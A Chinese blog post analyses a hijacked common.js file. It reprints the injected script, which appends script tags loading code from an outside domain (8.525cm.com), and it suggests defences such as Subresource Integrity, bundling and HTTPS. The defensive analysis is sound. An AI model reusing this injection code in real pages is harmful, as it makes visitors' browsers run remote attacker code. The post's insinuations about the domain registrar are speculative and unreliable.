事情源自今天公司发生了一件事情,因为工作关系所以背景内容就不细讲,不过这里有人几天前遇到了同样的问题:偷天换日:网络劫持,网页js被伪装替换。以此为例,来吐槽吐槽这个hijacking的“黑客”水平有多烂。

事故分析

我把劫持被替换掉的脚本贴出来,上文中对方遇到的问题是common.js,与我们的情况类似。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
try {
if (!document.getElementById("mck0")) {
var s0 = "http://xxx.xd618.com/resources/js/common.js?" + new Date().getTime(),
s1 = "http://8.525cm.com/v2/v.php?id=01";
var ar = new Array(2);
ar[0] = s0;
ar[1] = s1;
var h = document.getElementsByTagName('head').item(0);
for (var i = 0; i < 2; ++i) {
var sc = document.createElement("script");
sc.type = "text/javascript";
sc.id = "mck" + i;
sc.src = ar[i];
h.appendChild(sc);
}
}
} catch(e) {}

从这段脚本我们大致可以看出,显示判断是否有id为mck0的标签(我试着googlemck0的意思,无果),如果没有则会向DOM中添加两个script标签。说实话这js写得真是烂,既然用了Array,for循环的时候还把循环次数写死了。而且,js是创建数组居然还是用new Array(),亲,ES2016都快要火起来了。这里安利一下Airbnb的 JavaScript Style Guide,至于为什么推崇使用[],参考Why is arr = [] faster than arr = new Array?

扯远了,回到这段脚本,数组中存了两个地址,一个是common.js的地址,一个是指向8.525cm.com的一个地址。

先说第一个,脚本作者可谓良苦用心,为了隐藏自己,虽然替换了common.js,但还是希望网页是可以顺利访问的,所以重新添加了一个能够正常访问的common.js的资源,后面加了日期的后缀用来区分。这作者实在是自作聪明啊。

对于一个稍微有点规模的前端项目而言,核心的几个lib都是会被其他的lib依赖的,你倒好,篡改了common.js,然后在HEAD标签里面append新的<script>标签,亲,你这是插到最后去了你知道吗?你让别的库怎么依赖你这个插进去的common.js?你找一下head里面第一个scirpt出现的位置,用insertBefore这个函数就可插到最前面了。

话说回来,也不能怪这个“黑客”水平太烂,主要是国内很多前端开发的水平也不够,现在有很多支持js动态加载的工具,如鼎鼎有名的RequireJS,国内做前端开发的,好多外包公司能简单就简单,能糊弄就糊弄。当然了,前端工程师如果觉得这个太难上手,用个主流的打包工具打个包总归很简单的吧,Webpack随便玩。要是觉得这个还太难,用Gulp把js合并混淆一下,要是负点责任加个hash的版本号,这些总归很简单了吧。

补充说明,其实这里用打包工具跟依赖工具,其实都只是增加了“黑客”修改脚本的难度,理论上他们还是可以实现文件替换的,比较保险的做法是在后端做CheckSum,不管是CDN上的资源,还是自己服务器的资源,提供一个API使得前端在加载了资源后,与后端记录的CheckSum值进行对比,验证文件的一致性。另外,还可以对dom的append操作做一些检测,比如监听并阻止外部append行为等等。

接下来再说说黑客添加的那个ip地址,http://8.525cm.com/v2/v.php?id=01,第一个反应是去看看是啥,不出所料,暂时啥都没有。可以理解,现在如果就暴露了狼子野心岂不是太没劲?第二个反应就是去查一下whois,搜出来结果如下:

small

呵呵,这个HICHINA ZHICHENG TECHNOLOGY LTD也实在太霸气,名字里都敢带国名。不搜不知道,这公司可是大名鼎鼎的 万网-阿里云旗下品牌,吓出一身冷汗(大家自己脑补)。

当然,这里不排除万网自己批量买了一堆这种垃圾域名,再转手给别人,但这种事情就不怕自己背黑锅?whois里面可是登记着你们公司的大名呢。这里面究竟孰是孰非,看官们自己定夺吧,网上似乎也有人遇到过类似的问题:知乎:中国万网枝城科技有限公司(HICHINA ZHICHENG TECHNOLOGY LTD.)是什么公司?

网上关于525cm的资料甚少,只有之前一篇博客里面提到,看来他们也是刚刚开始的这轮攻击,暂时他们还没有什么动作,但一旦对方开挂,加载个木马或者钓鱼页面,骗你密码没商量。这种欺骗更可恶的在于,browser里面的地址确实是合理地址,一般人不开Console根本不知道自己看到的是不是原本网站的真面目,真是细思恐极。

写在后面

对这17行代码,也算是挖出了不少东西,目前还没有机会去服务器上看看这些静态资源的改动记录。这段脚本能够给出正确的资源的地址,要么这个“黑客”知道源站资源与CDN节点的匹配关系,要么就是CDN节点感染,”黑客“写了个脚本自动生成。目前我还没拿到服务器访问权限,不然我真想进去捣鼓捣鼓这些文件的修改记录、CDN访问记录之类的,用 Mr. Robot 的话讲,

再怎么聪明的黑客,都是会忍不住炫耀一番,在服务器上留下蛛丝马迹。

总的来说,一方面CDN厂商需要加强安全防范,另一方面网站的开发人员还是要多留个心眼,不要随随便便被这种水平的”黑客”给黑了。而对于这些网站的开发商,不要不舍得花钱,买个https的Certificate一年要不了多少钱,把SSL用起来,黑客如果拿到了数据,敲诈你的数目可比买个证书贵多了。

Workaround补充

对于不使用HTTPS服务的网站,可以采用以下工具在一定程度上增加劫持的难度:

治标方法一

  • 合并网站的所有JS文件,gulp-concat,一旦合并了文件,就不可能再出现对于单文件劫持的情况。另外一个好处是,合并后文件加载仅需一个HTTP请求,所以也能提高网站的加载速度。需要注意的是,合并时要保证原有的依赖顺序,如JQuery Plugin一定要在JQuery后面。(当然了,攻击者也可以直接对合并后的文件做替换,于是便有了文件名混淆)

  • 对原JS文件名进行混淆,可以利用 gulp-rename 工具。根据之前劫持的情况,劫持的行为均发生在JQuery.js、Common.js等常见的基础依赖的库,因此混淆JS文件名一定程度上可以增加劫持的难度。(当然了,攻击者也可以先分析HTML中的<script>标签,动态实现文件替换,这种情况指标方法二)

  • (optional)为了实现hash后的文件名自动添加到HTML的 <script> 标签中,可以使用 gulp-inject 工具,这样做简化了流程并避免了手误。

  • (optional) 为了避免暴露常见JS库,还可以通过使用 RequireJS 来动态异步加载JS包,所有的JS依赖关系可以在定义的main.js 文件中进行配置。

治标方法二

使用 Subresource Integrity,这是W3C推荐的专用来检测CDN文件匹配的技术,官方文档参见 Subresource Integrity,Mozilla社区的文档参见 SubResource Integrity,使用方法很简单,计算出文件的hash值,写在html标签中,当浏览器加载了相应的 <script><link> 文件后,会自动计算文件的hash值并做比较。缺点是,暂时不支持IE和Safari,目前支持的浏览器如下所示:

小结

当然,这些都只是在一定程度上增加了文件劫持的难度,对常规的劫持手段做了预防,但劫持者只要分析了前端代码,还是可以找到相应的攻击手段的。治本的方法还是通过开通HTTPS服务,才能从根本上解决问题。